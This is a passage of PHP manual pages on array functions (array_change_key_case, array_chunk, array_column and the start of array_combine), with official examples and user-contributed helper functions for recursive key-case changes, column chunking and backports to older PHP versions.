seva dot lapsha at gmail dot com 03-Aug-2009 03:22
Arrays are good, but inapplicable when dealing with huge amounts of data.

I'm working on rewriting some array functions to operate with plain Iterators - map, reduce, walk, flip et cetera are already there.

In addition I'm going to implement simulation of comprehensions (generators) in PHP (http://en.wikipedia.org/wiki/List_comprehension).

See the source code, examples and documentation at http://code.google.com/p/php-iterator-utils/
renatonascto at gmail dot com 17-Sep-2008 08:11
Big arrays use a lot of memory possibly resulting in memory limit errors. You can reduce memory usage on your script by destroying them as soon as you´re done with them. I was able to get over a few megabytes of memory by simply destroying some variables I didn´t use anymore.
You can view the memory usage/gain by using the funcion memory_get_usage(). Hope this helps!
Jck_true (leave out the &#39;_&#39; at gmail dot com) 25-Jan-2008 11:00
A usefull function that returns a flat array.
I use it in a template system. Let the user pass a multidimensional array. Convert it using my function. Then use
<?php
$array = flatten($array,'','{$','}','->');
echo str_replace(array_keys($array),array_values($array),$template)
/**
* Flattens out an multidimension array
* Using the last parameters you can define the new key based on the old path.
* @param array $array A multidimension array
* @param string $prefix Internal perfix parameter - leave empty.
* @param string $start_string What string should start the final array key?
* @param string $end_string What string should end the final array key?
* @param string $seperator The string that should seperate the piecies in final array key path
* @return array Returns the flat array
*/
function flatten($array, $start_string= '{$',$end_string= '}',$seperator='->',$prefix="") {
  $return = array();
  foreach($array as $key=>$value) {
    if (is_array($value)) {
      $return = array_merge($return, Parser_method_replace::flatten($value, $prefix.$key.$seperator,$start_string,$end_string,$seperator));
    } else
      $return [$start_string.$prefix.$key.$end_string] = $value;
  }
  return $return;
}
}
?>
Example:
$template = 'My string with replacement {$test->subkey}';
{$test->subkey} will get replaced with $array['test']['subkey']
cyberchrist at futura dot net 15-Oct-2007 03:33
Lately, dealing with databases, I've been finding myself needing to know if one array, $a, is a proper subset of $b.

Mathematically, this is asking (in set theory) [excuse the use of u and n instead of proper Unicode):

( A u B ) n ( ~ B )

What this does is it first limits to known values, then looks for anything outside of B but in the union of A and B (which would be those things in A which are not also in B).

If any value exists in this set, then A is NOT a proper subset of B, because a value exists in A but not in B.  For A to be a proper subset, all values in A must be in B.

I'm sure this could easily be done any number of ways but this seems to work for me.  It's not got a lot of error detection such as sterilizing inputs or checking input types.

// bool array_subset( array, array )
// Returns true if $a is a proper subset of $b, returns false otherwise.

function array_subset( $a, $b )
{
    if( count( array_diff( array_merge($a,$b), $b)) == 0 )
        return true;
    else
        return false;
}
mo dot longman at gmail dot com 31-Jul-2007 08:27
to 2g4wx3:
i think better way for this is using JSON, if you have such module in your PHP. See json.org.

to convert JS array to JSON string: arr.toJSONString();
to convert JSON string to PHP array: json_decode($jsonString);

You can also stringify objects, numbers, etc.
rune at zedeler dot dk 28-Feb-2007 05:42
Notice that keys are considered equal if they are "=="-equal. That is:

<?
$a = array();
$a[1] = 'this is the first value';
$a[true] = 'this value overrides the first value';
$a['1'] = 'so does this one';
?>
ob at babcom dot biz 28-Aug-2006 01:23
Here is a function to find out the maximum depth of a multidimensional array.

<?php
// return depth of given array
// if Array is a string ArrayDepth() will return 0
// usage: int ArrayDepth(array Array)

function ArrayDepth($Array,$DepthCount=-1,$DepthArray=array()) {
  $DepthCount++;
  if (is_array($Array))
    foreach ($Array as $Key => $Value)
      $DepthArray[]=ArrayDepth($Value,$DepthCount);
  else
    return $DepthCount;
  foreach($DepthArray as $Value)
    $Depth=$Value>$Depth?$Value:$Depth;
  return $Depth;
}
?>


Changes the case of all keys in an array

  • « Array Functions
  • array_chunk »
  • PHP Manual
  • Array Functions
  • Changes the case of all keys in an array

array_change_key_case

(PHP 4 >= 4.2.0, PHP 5)

array_change_key_case — Changes the case of all keys in an array

Description

array array_change_key_case ( array $array [, int $case = CASE_LOWER ] )

Returns an array with all keys from array lowercased or uppercased. Numbered indices are left as is.

Parameters

array

The array to work on

case

Either CASE_UPPER or CASE_LOWER (default)

Return Values

Returns an array with its keys lower or uppercased, or FALSE if array is not an array.

Errors/Exceptions

Throws E_WARNING if array is not an array.

Examples

Example #1 array_change_key_case() example

<?php
$input_array = array("FirSt" => 1, "SecOnd" => 4);
print_r(array_change_key_case($input_array, CASE_UPPER));
?>

The above example will output:

Array
(
    [FIRST] => 1
    [SECOND] => 4
)

Notes

Note:

If an array has indices that will be the same once run through this function (e.g. "keY" and "kEY"), the value that is later in the array will override other indices.

User Contributed Notes

xsaero00 26-Apr-2014 02:33
Here is the most compact way to lower case keys in a multidimensional array

function array_change_key_case_recursive($arr)
{
    return array_map(function($item){
        if(is_array($item))
            $item = array_change_key_case_recursive($item);
        return $item;
    },array_change_key_case($arr));
}
NetPanther 22-Sep-2012 10:27
Use this to capitalize first letter of all array keys:

<?php

function ucfirstKeys(&$data)
{
  foreach ($data as $key => $value)
  {
    // Convert key
    $newKey = ucfirst($key);

    // Change key if needed
    if ($newKey != $key)
    {
      unset($data[$key]);
      $data[$newKey] = $value;
    }

    // Handle nested arrays
    if (is_array($value))
    {
      ucfirstKeys($data[$key]);
    }
  }
}

$test = array('foo' => 'bar', 'moreFoo' => array('more' => 'foo'));
ucfirstKeys($test);
print_r($test);

?>

Result:
Array ( [MoreFoo] => Array ( [More] => foo ) [Foo] => bar )
qeremy [atta] gmail [dotta] com 29-Feb-2012 02:15
Unicode example;

<?php
function array_change_key_case_unicode($arr, $c = CASE_LOWER) {
    $c = ($c == CASE_LOWER) ? MB_CASE_LOWER : MB_CASE_UPPER;
    foreach ($arr as $k => $v) {
        $ret[mb_convert_case($k, $c, "UTF-8")] = $v;
    }
    return $ret;
}

$arr = array("FirSt" => 1, "yağ" => "Oil", "şekER" => "sugar");
print_r(array_change_key_case($arr, CASE_UPPER));
print_r(array_change_key_case_unicode($arr, CASE_UPPER));
?>

Array
(
    [FIRST] => 1
    [YAğ] => Oil
    [şEKER] => sugar
)
Array
(
    [FIRST] => 1
    [YAĞ] => Oil
    [ŞEKER] => sugar
)
JOE 20-Oct-2011 08:13
Script to change case of sub-arrays keys to lower . It works well for me. hope it helps.

<?php
$array=array("First"=>"val1","SecoNd"=>"val2",
"third"=>array("third-INner1"=>"val3.1"),
"fourth"=>array("FouthINNer1"=>"val4.1","FourthINNER2"=>"val4.2"));
print_r($array);
$key=array_keys($array);
foreach($key as $ki)
{
    $klower=strtolower($ki);
    $val=$array[$ki];
    if(is_array($val))
    {
        foreach($val as $kinner=>$vinner)
        {

            $tl=strtolower($kinner);
            unset($val[$kinner]);
            $val[$tl]=$vinner;
        }
    }
    unset($array[$ki]);
    $array[$klower]=$val;
}
echo "<br> After Changing Key to-LowerCase : <br>";
print_r($array);

?>
Lus Henrique Pessoa 24-Sep-2010 06:03
<?php

// improving the previous script
function ack_r3(&$array, $case=CASE_LOWER, $flag_rec=false)
    {
      $array = array_change_key_case($array, $case);
      if ( $flag_rec ) {
        foreach ($array as $key => $value) {
            if ( is_array($value) ) {
                ack_r3($array[$key], $case, true);
            }
        }
      }
    }

// same of array_change_key_case
$arr = array('ID' => 1, 'NAME'=> 'Luis', 'Contact' => array('PHONE' => '3010-7148', 'E-MAIL' => 'luis@net.com') );
    ack_r3($arr, CASE_LOWER,false);
    var_dump($arr);

    $arr = array('ID' => 1, 'NAME'=> 'Luis', 'Contact' => array('PHONE' => '3010-7148', 'E-MAIL' => 'luis@net.com') );
    ack_r3($arr, CASE_LOWER,true);
    var_dump($arr);

?>

outputs:

array(3) {
  ["id"]=>
  int(1)
  ["name"]=>
  string(4) "Luis"
  ["contact"]=>
  array(2) {
    ["PHONE"]=>
    string(9) "3010-7148"
    ["E-MAIL"]=>
    string(12) "luis@net.com"
  }
}
array(3) {
  ["id"]=>
  int(1)
  ["name"]=>
  string(4) "Luis"
  ["contact"]=>
  array(2) {
    ["phone"]=>
    string(9) "3010-7148"
    ["e-mail"]=>
    string(12) "luis@net.com"
  }
}
Luis Henrique Pessoa 23-Sep-2010 06:25
Script to change case of sub-arrays keys:

<?php

    function arrKey2Lower(&$arrVals) {
        foreach( $arrVals as $key => $item ) {
            $key2 = strtolower($key);
            if ( $key2 != $key) {
                unset($arrVals[$key]);
                $arrVals[$key2]=$item;
                $key=$key2;
            }

            if ( is_array($item) ) { arrKey2Lower($arrValores[$key]); }
        }
    }

    $arr = array('ID' => 1, 'NAME'=> 'Luis', 'Contact' => array('PHONE' => '3010-7148', 'E-MAIL' => 'luis@net.com') );
    arrKey2Lower($arr);
    var_dump($arr);

?>

outputs:

array(3) {
  ["id"]=>
  int(1)
  ["name"]=>
  string(4) "Luis"
  ["contact"]=>
  array(2) {
    ["phone"]=>
    string(9) "3010-7148"
    ["e-mail"]=>
    string(12) "luis@net.com"
  }
}
info at microweb dot lt 29-Nov-2009 11:07
Simple function to change multidimensional array's all values to uppercase. If you would like to change to lowercase then change "mb_strtoupper" to  "mb_strtolower". It works perfect for me ;)

<?php
function change_case_recursive($arr){
    foreach ($arr as $key=>$val){
        if (!is_array($arr[$key])){
            $arr[$key]=mb_strtoupper($arr[$key]);
        }else{
            $arr[$key]=change_case_recursive($arr[$key]);
        }
    }
    return $arr;
}
?>
david at ramaboo dot com 02-Feb-2009 12:22
Same as array_change_key_case only with the values. This should really be part of PHP!

<?php
/**
 * @brief Returns an array with all values lowercased or uppercased.
 * @return array Returns an array with all values lowercased or uppercased.
 * @param object $input The array to work on
 * @param int $case [optional] Either \c CASE_UPPER or \c CASE_LOWER (default).
 */
function array_change_value_case(array $input, $case = CASE_LOWER) {
    switch ($case) {
        case CASE_LOWER:
            return array_map('strtolower', $input);
            break;
        case CASE_UPPER:
            return array_map('strtoupper', $input);
            break;
        default:
            trigger_error('Case is not valid, CASE_LOWER or CASE_UPPER only', E_USER_ERROR);
            return false;
    }
}
?>
charles 13-Jan-2009 08:38
<?php
$input_array = array("FirSt" => 1, "SecOnd" => 4);
print_r(array_change_key_case($input_array, CASE_UPPER));
?>
anon at ymous dot com 02-Dec-2008 12:19
Below is a recursive version of this function.

<?php
    /**
     * A recursive array_change_key_case function.
     * @param array $input
     * @param integer $case
     */
    function array_change_key_case_recursive($input, $case = null){
        if(!is_array($input)){
            trigger_error("Invalid input array '{$array}'",E_USER_NOTICE); exit;
        }
        // CASE_UPPER|CASE_LOWER
        if(null === $case){
            $case = CASE_LOWER;
        }
        if(!in_array($case, array(CASE_UPPER, CASE_LOWER))){
            trigger_error("Case parameter '{$case}' is invalid.", E_USER_NOTICE); exit;
        }
        $input = array_change_key_case($input, $case);
        foreach($input as $key=>$array){
            if(is_array($array)){
                $input[$key] = array_change_key_case_recursive($array, $case);
            }
        }
        return $input;
    }
?>
andreas dot schuhmacher87 at googlemail dot com 15-Apr-2008 03:01
multibyte and multi-dimensional-array support, have fun!

<?php
    define('ARRAY_KEY_FC_LOWERCASE', 25); //FOO => fOO
    define('ARRAY_KEY_FC_UPPERCASE', 20); //foo => Foo
    define('ARRAY_KEY_UPPERCASE', 15); //foo => FOO
    define('ARRAY_KEY_LOWERCASE', 10); //FOO => foo
    define('ARRAY_KEY_USE_MULTIBYTE', true); //use mutlibyte functions

    /**
    * change the case of array-keys
    *
    * use: array_change_key_case_ext(array('foo' => 1, 'bar' => 2), ARRAY_KEY_UPPERCASE);
    * result: array('FOO' => 1, 'BAR' => 2)
    *
    * @param    array
    * @param    int
    * @return     array
    */
    function array_change_key_case_ext(array $array, $case = 10, $useMB = false, $mbEnc = 'UTF-8') {
        $newArray = array();

        //for more speed define the runtime created functions in the global namespace

        //get function
        if($useMB === false) {
            $function = 'strToUpper'; //default
            switch($case) {
                //first-char-to-lowercase
                case 25:
                    //maybee lcfirst is not callable
                    if(!function_exists('lcfirst'))
                        $function = create_function('$input', '
                            return strToLower($input[0]) . substr($input, 1, (strLen($input) - 1));
                        ');
                    else $function = 'lcfirst';
                    break;

                //first-char-to-uppercase
                case 20:
                    $function = 'ucfirst';
                    break;

                //lowercase
                case 10:
                    $function = 'strToLower';
            }
        } else {
            //create functions for multibyte support
            switch($case) {
                //first-char-to-lowercase
                case 25:
                    $function = create_function('$input', '
                        return mb_strToLower(mb_substr($input, 0, 1, \'' . $mbEnc . '\')) .
                            mb_substr($input, 1, (mb_strlen($input, \'' . $mbEnc . '\') - 1), \'' . $mbEnc . '\');
                    ');

                    break;

                //first-char-to-uppercase
                case 20:
                    $function = create_function('$input', '
                        return mb_strToUpper(mb_substr($input, 0, 1, \'' . $mbEnc . '\')) .
                            mb_substr($input, 1, (mb_strlen($input, \'' . $mbEnc . '\') - 1), \'' . $mbEnc . '\');
                    ');

                    break;

                //uppercase
                case 15:
                    $function = create_function('$input', '
                        return mb_strToUpper($input, \'' . $mbEnc . '\');
                    ');
                    break;

                //lowercase
                default: //case 10:
                    $function = create_function('$input', '
                        return mb_strToLower($input, \'' . $mbEnc . '\');
                    ');
            }
        }

        //loop array
        foreach($array as $key => $value) {
            if(is_array($value)) //$value is an array, handle keys too
                $newArray[$function($key)] = array_change_key_case_ex($value, $case, $useMB);
            elseif(is_string($key))
                $newArray[$function($key)] = $value;
            else $newArray[$key] = $value; //$key is not a string
        } //end loop

        return $newArray;
    }
?>
dot dot dot dot dot alexander at gmail dot com 30-Jan-2008 06:22
Basically this is the function if your version is lower than 4.2.0
<?php
if ( !defined('CASE_LOWER') )define('CASE_LOWER', 0);
if ( !defined('CASE_UPPER') )define('CASE_UPPER', 1);

if(!function_exists("array_change_key_case")){
    function array_change_key_case($input, $case=0){
        if(!is_array($input))return FALSE;
        $product = array();
        foreach($input as $key => $value){
            if($case){ //Upper
                $key2 = (  (is_string($key)) ? (strtoupper($key)) : ($key)  );
                $product[$key2] = $value;
            }
            else{ //Lower
                $key2 = (  (is_string($key)) ? (strtolower($key)) : ($key)  );
                $product[$key2] = $value;
            }
        }
        return $product;
    }/* endfunction array_change_key_case */
}/* endfunction exists array_change_key_case*/
?>
john at doe dot com 26-Sep-2007 09:04
<?php
function array_change_value_case($input, $case = CASE_LOWER)
{
    $aRet = array();

    if (!is_array($input))
    {
        return $aRet;
    }

    foreach ($input as $key => $value)
    {
        if (is_array($value))
        {
            $aRet[$key] = array_change_value_case($value, $case);
            continue;
        }

        $aRet[$key] = ($case == CASE_UPPER ? strtoupper($value) : strtolower($value));
    }

    return $aRet;
}
?>
cm at gameswelt dot de 10-Aug-2007 01:11
I just changed the code a little bit so you havent got a code that repeats itself.

<?php

function array_change_key_case_secure($array = array(), $case = CASE_UPPER){
    $secure = array();
    $functionWrap = array(CASE_UPPER => 'strtoupper',
                            CASE_LOWER => 'strtolower');

    foreach($array as $key => $val){
        if(isset($functionWrap[$key])){
            $key = $functionWrap[$case]($key);
            $secure[$key][] = $val;
        } else {
            die('Not a known Type');
        }
    }

    foreach($secure as $key => $val){
        if(count($secure[$key]) == 1){
            $secure[$key] = $val[0];
        }
    }

    return $secure;
}

$myArray = array('A' => 'Hello',
                    'B' => 'World',
                    'a' => 'how are you?');

print_r($myArray);
$myArray = array_change_key_case_secure($myArray);
print_r($myArray);

/*
Array
(
    [A] => Hello
    [B] => World
    [a] => how are you?
)
Array
(
    [A] => Array
        (
            [0] => Hello
            [1] => how are you?
        )

    [B] => World
)
*/
aidan at php dot net 02-Jun-2004 05:06
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat


Split an array into chunks

  • « array_change_key_case
  • array_column »
  • PHP Manual
  • Array Functions
  • Split an array into chunks

array_chunk

(PHP 4 >= 4.2.0, PHP 5)

array_chunk — Split an array into chunks

Description

array array_chunk ( array $array , int $size [, bool $preserve_keys = false ] )

Chunks an array into arrays with size elements. The last chunk may contain less than size elements.

Parameters

array

The array to work on

size

The size of each chunk

preserve_keys

When set to TRUE keys will be preserved. Default is FALSE which will reindex the chunk numerically

Return Values

Returns a multidimensional numerically indexed array, starting with zero, with each dimension containing size elements.

Errors/Exceptions

If size is less than 1 E_WARNING will be thrown and NULL returned.

Examples

Example #1 array_chunk() example

<?php
$input_array = array('a', 'b', 'c', 'd', 'e');
print_r(array_chunk($input_array, 2));
print_r(array_chunk($input_array, 2, true));
?>

The above example will output:

Array
(
    [0] => Array
        (
            [0] => a
            [1] => b
        )

    [1] => Array
        (
            [0] => c
            [1] => d
        )

    [2] => Array
        (
            [0] => e
        )

)
Array
(
    [0] => Array
        (
            [0] => a
            [1] => b
        )

    [1] => Array
        (
            [2] => c
            [3] => d
        )

    [2] => Array
        (
            [4] => e
        )

)

See Also

  • array_slice() - Extract a slice of the array

User Contributed Notes

Anonymous 20-May-2014 07:51
Couldn't get the array_chunk_values() working, so ended up with this implementation:

<?php
function array_chunk_columns($data, $num_columns) {
  $n = count($data);
  $per_column = floor($n / $num_columns);
  $rest = $n % $num_columns;

  $columns = array();
  $index = 0;
  for ($i = 0; $i < $num_columns; $i++) {
    // Add an extra item to each column while the column number is less than the
    // remainder.
    $add_rest = ($rest && ($i < $rest)) ? 1 : 0;
    $number = $per_column + $add_rest;
    $columns[] = array_slice($data, $index, $number);
    $index += $number;
  }

  return $columns;
}

?>
stratboy 16-Sep-2013 07:22
Hi, I've made  a function to split an array into chunks based on columns wanted. For example:

<?php $a = array(1,2,3,4,5,6,7,8); ?>

goal (say, for 3 columns):

<?php
array(
   array(1,2,3),
   array(4,5,6),
   array(7,8)
);
?>

<?php
function get_array_columns($array, $columns){

        $columns_map = array();
        for($i=0; $i<$columns; $i++){ $columns_map[] = 0; }//init columns

        //create map
        $count = count($array);
        $position = 0;
        while($count > 0){
            $columns_map[$position]++;
            $position = ($position < $columns-1) ? ++$position : 0;
            $count--;
        }

        //chunk the array based on map
        $chunked = array();
        foreach($columns_map as $map){
            $chunked[] = array_splice($array,0,$map);
        }

        return $chunked;
    }//end get_array_columns
?>
nate at ruggfamily dot com 20-Jul-2010 06:00
If you just want to grab one chunk from an array, you should use array_slice().
dead dot screamer at seznam dot cz 27-Jan-2009 11:28
This function can be used to reverse effect of <?php array_Chunk()?>.
<?php
function array_Unchunk($array)
{
    return call_User_Func_Array('array_Merge',$array);
}

header('Content-Type: text/plain');
$array=array(
    array(
            'Black Canyon City',
            'Chandler',
            'Flagstaff',
            'Gilbert',
            'Glendale',
            'Globe',
    ),
    array(
            'Mesa',
            'Miami',
            'Phoenix',
            'Peoria',
            'Prescott',
            'Scottsdale',
    ),
    array(
            'Sun City',
            'Surprise',
            'Tempe',
            'Tucson',
            'Wickenburg',
    ),
);
var_Dump(array_Unchunk($array));
?>

Output:
array(17) {
  [0]=>
  string(17) "Black Canyon City"
  [1]=>
  string(8) "Chandler"
  [2]=>
  string(9) "Flagstaff"
  [3]=>
  string(7) "Gilbert"
  [4]=>
  string(8) "Glendale"
  [5]=>
  string(5) "Globe"
  [6]=>
  string(4) "Mesa"
  [7]=>
  string(5) "Miami"
  [8]=>
  string(7) "Phoenix"
  [9]=>
  string(6) "Peoria"
  [10]=>
  string(8) "Prescott"
  [11]=>
  string(10) "Scottsdale"
  [12]=>
  string(8) "Sun City"
  [13]=>
  string(8) "Surprise"
  [14]=>
  string(5) "Tempe"
  [15]=>
  string(6) "Tucson"
  [16]=>
  string(10) "Wickenburg"
}
Rasmus Schultz (http://mindplay.dk) 23-Jan-2009 10:59
Unfortunately, this function only accepts real arrays, not iterable objects... For that, you need this function:

<?php

function break_array($array, $page_size) {

  $arrays = array();
  $i = 0;

  foreach ($array as $index => $item) {
    if ($i++ % $page_size == 0) {
      $arrays[] = array();
      $current = & $arrays[count($arrays)-1];
    }
    $current[] = $item;
  }

  return $arrays;

}

?>
OIS 10-Jun-2008 02:31
Response to azspot at gmail dot com function partition.

$columns = 3;
$citylist = array('Black Canyon City', 'Chandler', 'Flagstaff', 'Gilbert', 'Glendale', 'Globe', 'Mesa', 'Miami', 'Phoenix', 'Peoria', 'Prescott', 'Scottsdale', 'Sun City', 'Surprise', 'Tempe', 'Tucson', 'Wickenburg');
print_r(array_chunk($citylist, ceil(count($citylist) / $columns)));

Output:
Array
(
    [0] => Array
        (
            [0] => Black Canyon City
            [1] => Chandler
            [2] => Flagstaff
            [3] => Gilbert
            [4] => Glendale
            [5] => Globe
        )

    [1] => Array
        (
            [0] => Mesa
            [1] => Miami
            [2] => Phoenix
            [3] => Peoria
            [4] => Prescott
            [5] => Scottsdale
        )

    [2] => Array
        (
            [0] => Sun City
            [1] => Surprise
            [2] => Tempe
            [3] => Tucson
            [4] => Wickenburg
        )

)
azspot at gmail dot com 09-May-2007 01:53
Tried to use an example below (#56022) for array_chunk_fixed that would "partition" or divide an array into a desired number of split lists -- a useful procedure for "chunking" up objects or text items into columns, or partitioning any type of data resource. However, there seems to be a flaw with array_chunk_fixed — for instance, try it with a nine item list and with four partitions. It results in 3 entries with 3 items, then a blank array.

So, here is the output of my own dabbling on the matter:

<?php

function partition( $list, $p ) {
    $listlen = count( $list );
    $partlen = floor( $listlen / $p );
    $partrem = $listlen % $p;
    $partition = array();
    $mark = 0;
    for ($px = 0; $px < $p; $px++) {
        $incr = ($px < $partrem) ? $partlen + 1 : $partlen;
        $partition[$px] = array_slice( $list, $mark, $incr );
        $mark += $incr;
    }
    return $partition;
}

$citylist = array( "Black Canyon City", "Chandler", "Flagstaff", "Gilbert", "Glendale", "Globe", "Mesa", "Miami",
                   "Phoenix", "Peoria", "Prescott", "Scottsdale", "Sun City", "Surprise", "Tempe", "Tucson", "Wickenburg" );
print_r( partition( $citylist, 3 ) );

?>

Array
(
    [0] => Array
        (
            [0] => Black Canyon City
            [1] => Chandler
            [2] => Flagstaff
            [3] => Gilbert
            [4] => Glendale
            [5] => Globe
        )

    [1] => Array
        (
            [0] => Mesa
            [1] => Miami
            [2] => Phoenix
            [3] => Peoria
            [4] => Prescott
            [5] => Scottsdale
        )

    [2] => Array
        (
            [0] => Sun City
            [1] => Surprise
            [2] => Tempe
            [3] => Tucson
            [4] => Wickenburg
        )

)
22-Mar-2006 01:19
Here my array_chunk_values( ) with values distributed by lines (columns are balanced as much as possible) :

<?php
    function array_chunk_vertical($data, $columns) {
        $n = count($data) ;
        $per_column = floor($n / $columns) ;
        $rest = $n % $columns ;

        // The map
        $per_columns = array( ) ;
        for ( $i = 0 ; $i < $columns ; $i++ ) {
            $per_columns[$i] = $per_column + ($i < $rest ? 1 : 0) ;
        }

        $tabular = array( ) ;
        foreach ( $per_columns as $rows ) {
            for ( $i = 0 ; $i < $rows ; $i++ ) {
                $tabular[$i][ ] = array_shift($data) ;
            }
        }

        return $tabular ;
    }

    header('Content-Type: text/plain') ;

    $data = array_chunk_vertical(range(1, 31), 7) ;
    foreach ( $data as $row ) {
        foreach ( $row as $value ) {
            printf('[%2s]', $value) ;
        }
        echo "\r\n" ;
    }

    /*
        Output :

        [ 1][ 6][11][16][20][24][28]
        [ 2][ 7][12][17][21][25][29]
        [ 3][ 8][13][18][22][26][30]
        [ 4][ 9][14][19][23][27][31]
        [ 5][10][15]
    */
?>
magick dit crow ot gmail dit com 16-Oct-2005 06:50
Mistake key did not do what I thought. A patch.

function array_bucket($array,$bucket_size)// bucket filter
{
    if (!is_array($array)) return false;
    $buckets=array_chunk($array,$bucket_size);// chop up array into bucket size units
    $I=0;
    foreach ($buckets as $bucket)
    {
        $new_array[$I++]=array_sum($bucket)/count($bucket);
    }
    return $new_array;// return new array
}
magick dit crow ot gmail dit com 15-Oct-2005 07:58
This function takes each few elements of an array and averages them together. It then places the averages in a new array. It is used to smooth out data. For example lets say you have a years worth of hit data to a site and you want to graph it by the week. Then use a bucket of 7 and graph the functions output.

function array_bucket($array, $bucket_size)  // bucket filter
{
    if (!is_array($array)) return false; // no empty arrays
    $buckets=array_chunk($array,$bucket_size);  // chop up array into bucket size units
    foreach ($buckets as $bucket) $new_array[key($buckets])=array_sum($bucket)/count($bucket);
    return $new_array;  // return new smooth array
}
webmaster at cafe-clope dot net 21-Aug-2005 01:27
based on the same syntax, useful about making columns :

<?php
function array_chunk_fixed($input, $num, $preserve_keys = FALSE) {
    $count = count($input) ;
    if($count)
        $input = array_chunk($input, ceil($count/$num), $preserve_keys) ;
    $input = array_pad($input, $num, array()) ;
    return $input ;
}

$array = array(1, 2, 3, 4, 5) ;
print_r(array_chunk($array, 2)) ;
print_r(array_chunk_fixed($array, 2)) ;
?>

---- array_chunk : fixed number of sub-items ----
Array(
    [0] => Array(
            [0] => 1
            [1] => 2
        )
    [1] => Array(
            [0] => 3
            [1] => 4
        )

    [2] => Array(
            [0] => 5
        )
)

---- array_chunk : fixed number of columns ----
Array(
    [0] => Array(
            [0] => 1
            [1] => 2
            [2] => 3
        )
    [1] => Array(
            [0] => 4
            [1] => 5
        )
)
phpm at nreynolds dot me dot uk 17-Dec-2004 01:21
array_chunk() is helpful when constructing tables with a known number of columns but an unknown number of values, such as a calendar month. Example:

<?php

$values = range(1, 31);
$rows = array_chunk($values, 7);

print "<table>\n";
foreach ($rows as $row) {
    print "<tr>\n";
    foreach ($row as $value) {
        print "<td>" . $value . "</td>\n";
    }
    print "</tr>\n";
}
print "</table>\n";

?>

Outputs:

1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31

The other direction is possible too, with the aid of a function included at the bottom of this note. Changing this line:
  $rows = array_chunk($values, 7);

To this:
  $rows = array_chunk_vertical($values, 7);

Produces a vertical calendar with seven columns:

1 6  11 16 21 26 31
2 7  12 17 22 27
3 8  13 18 23 28
4 9  14 19 24 29
5 10 15 20 25 30

You can also specify that $size refers to the number of rows, not columns:
  $rows = array_chunk_vertical($values, 7, false, false);

Producing this:

1 8  15 22 29
2 9  16 23 30
3 10 17 24 31
4 11 18 25
5 12 19 26
6 13 20 27
7 14 21 28

The function:

<?php

function array_chunk_vertical($input, $size, $preserve_keys = false, $size_is_horizontal = true)
{
    $chunks = array();

    if ($size_is_horizontal) {
        $chunk_count = ceil(count($input) / $size);
    } else {
        $chunk_count = $size;
    }

    for ($chunk_index = 0; $chunk_index < $chunk_count; $chunk_index++) {
        $chunks[] = array();
    }

    $chunk_index = 0;
    foreach ($input as $key => $value)
    {
        if ($preserve_keys) {
            $chunks[$chunk_index][$key] = $value;
        } else {
            $chunks[$chunk_index][] = $value;
        }

        if (++$chunk_index == $chunk_count) {
            $chunk_index = 0;
        }
    }

    return $chunks;
}

?>
mick at vandermostvanspijk dot nl 07-Apr-2004 12:02
[Editors note: This function was based on a previous function by gphemsley at nospam users dot sourceforge.net]

For those of you that need array_chunk() for PHP < 4.2.0, this function should do the trick:

<?php
if (!function_exists('array_chunk')) {
    function array_chunk( $input, $size, $preserve_keys = false) {
        @reset( $input );

        $i = $j = 0;

        while( @list( $key, $value ) = @each( $input ) ) {
            if( !( isset( $chunks[$i] ) ) ) {
               $chunks[$i] = array();
            }

            if( count( $chunks[$i] ) < $size ) {
                if( $preserve_keys ) {
                    $chunks[$i][$key] = $value;
                    $j++;
                } else {
                    $chunks[$i][] = $value;
                }
            } else {
                $i++;

                if( $preserve_keys ) {
                    $chunks[$i][$key] = $value;
                    $j++;
                } else {
                    $j = 0;
                    $chunks[$i][$j] = $value;
                }
            }
        }

        return $chunks;
    }
}
?>


Return the values from a single column in the input array

  • « array_chunk
  • array_combine »
  • PHP Manual
  • Array Functions
  • Return the values from a single column in the input array

array_column

(PHP 5 >= 5.5.0)

array_column — Return the values from a single column in the input array

Description

array array_column ( array $array , mixed $column_key [, mixed $index_key = null ] )

array_column() returns the values from a single column of the array, identified by the column_key. Optionally, you may provide an index_key to index the values in the returned array by the values from the index_key column in the input array.

Parameters

array

A multi-dimensional array (record set) from which to pull a column of values.

column_key

The column of values to return. This value may be the integer key of the column you wish to retrieve, or it may be the string key name for an associative array. It may also be NULL to return complete arrays (useful together with index_key to reindex the array).

index_key

The column to use as the index/keys for the returned array. This value may be the integer key of the column, or it may be the string key name.

Return Values

Returns an array of values representing a single column from the input array.

Examples

Example #1 Get column of first names from recordset

<?php
// Array representing a possible record set returned from a database
$records = array(
    array(
        'id' => 2135,
        'first_name' => 'John',
        'last_name' => 'Doe',
    ),
    array(
        'id' => 3245,
        'first_name' => 'Sally',
        'last_name' => 'Smith',
    ),
    array(
        'id' => 5342,
        'first_name' => 'Jane',
        'last_name' => 'Jones',
    ),
    array(
        'id' => 5623,
        'first_name' => 'Peter',
        'last_name' => 'Doe',
    )
);

$first_names = array_column($records, 'first_name');
print_r($first_names);
?>

The above example will output:

Array
(
    [0] => John
    [1] => Sally
    [2] => Jane
    [3] => Peter
)

Example #2 Get column of last names from recordset, indexed by the "id" column

<?php
// Using the $records array from Example #1
$last_names = array_column($records, 'last_name', 'id');
print_r($last_names);
?>

The above example will output:

Array
(
    [2135] => Doe
    [3245] => Smith
    [5342] => Jones
    [5623] => Doe
)

See Also

  • » Recommended userland implementation for PHP lower than 5.5

User Contributed Notes

WARrior 03-Oct-2013 09:25
You can also use array_map fucntion if you haven't array_column().

example:

$a = array(
    array(
        'id' => 2135,
        'first_name' => 'John',
        'last_name' => 'Doe',
    ),
    array(
        'id' => 3245,
        'first_name' => 'Sally',
        'last_name' => 'Smith',
    )
);

array_column($a, 'last_name');

becomes

array_map(function($element){return $element['last_name']}, $a)


Creates an array by using one array for keys and another for its values

  • « array_column
  • array_count_values »
  • PHP Manual
  • Array Functions
  • Creates an array by using one array for keys and another for its values

array_combine

(PHP 5)

array_combine — Creates an array by using one array for keys and another for its values

Description

array array_combine ( array $keys , array $values )

Creates an array by using the values from the keys array as keys and the values from the values array as the corresponding values.

Parameters

keys

Array of keys to be used. Illegal values for key will be converted to string.

values

Array of values to be used

Return Values

Returns the combined array, FALSE if the number of elements for each array isn't equal.

Errors/Exceptions

Throws E_WARNING if the number of elements in keys and values does not match.

Changelog

Version | Description
5.4.0 | Previous versions issued E_WARNING and returned FALSE for empty arrays.

Examples

Example #1 A simple array_combine() example

<?php
